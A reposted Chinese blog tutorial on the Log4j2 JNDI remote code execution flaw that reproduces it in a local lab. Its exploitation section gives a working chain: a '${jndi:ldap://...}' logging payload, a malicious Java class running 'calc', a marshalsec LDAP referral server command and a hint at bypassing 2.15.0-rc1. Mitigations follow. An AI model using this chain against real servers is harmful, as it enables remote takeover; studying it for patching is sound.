來源:blog.csdn.net/qq_40989258/article/details/121862363
0x00 簡介
ApacheLog4j2是一個開源的Java日志框架,被廣泛地應用在中間件、開發框架與Web應用中,
0x01 漏洞概述
該漏洞是由于Apache Log4j2某些功能存在遞回決議功能,未經身份驗證的攻擊者通過發送特定惡意資料包,可在目標服務器上執行任意代碼,
0x02 影響范圍
Apache Log4j 2.x <= 2.15.0-rc1
0x03 環境搭建
創建一個新的maven專案,并匯入Log4j的依賴包
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>

0x04 漏洞利用
1、使用POC測驗
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class LogTest {
public static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error("${jndi:ldap://localhost:8888/Exploit}");
}
}
2、編譯一惡意類Exploit.class
首先新建exp.java,然后編譯為class檔案
class Exploit {
static {
System.err.println("Pwned");
try {
String cmds = "calc";
Runtime.getRuntime().exec(cmds);
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
javac exp.java

3、使用marshalsec-0.0.3-SNAPSHOT-all.jar本地開啟一個LDAP服務
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
"http://127.0.0.1:7777/#Exploit" 8888

4、運行poc.java,即可訪問惡意類并執行寫在其中的"calc"命令

結合一些其它 StrLookup 適當變形,以及配合官方測驗用例中臟資料"?Type=A Type&Name=1100110&Char=!"可繞過rc1,RC2版本對此例外進行了捕獲,
https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1...log4j-2.15.0-rc2

0x05 修復方式
目前,Apache官方已發布新版本完成漏洞修復,建議用戶盡快進行自查,并及時升級至最新版本:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
建議同時采用如下臨時措施進行漏洞防范:
1)添加jvm啟動引數-Dlog4j2.formatMsgNoLookups=true;
2)在應用classpath下添加log4j2.component.properties組態檔,檔案內容為log4j2.formatMsgNoLookups=true;
3)JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
4)部署使用第三方防火墻產品進行安全防護,
近期熱文推薦:
1.1,000+ 道 Java面試題及答案整理(2021最新版)
2.勁爆!Java 協程要來了,,,
3.最新!Log4j 2.x 再發版,正式解決核彈級漏洞,又要熬夜了,,,
4.Spring Boot 2.6 正式發布,一大波新特性,,
5.《Java開發手冊(嵩山版)》最新發布,速速下載!
覺得不錯,別忘了隨手點贊+轉發哦!
轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/380819.html
標籤:Java
上一篇:Spring AOP總結
